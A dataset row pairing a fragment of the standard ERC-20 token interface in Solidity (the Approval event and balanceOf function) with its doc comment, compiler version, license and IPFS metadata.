* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | balanceOf | function balanceOf(address account) external view returns (uint256);
| /**
* @dev Returns the amount of tokens owned by `account`.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | MIT | ipfs://6b31bd4a0f1cd78125b1273f1afb48d0b7ccf68b07f7c49d60d884af66f19277 | {
"func_code_index": [
238,
311
]
} | 8,906 |
Subsets and Splits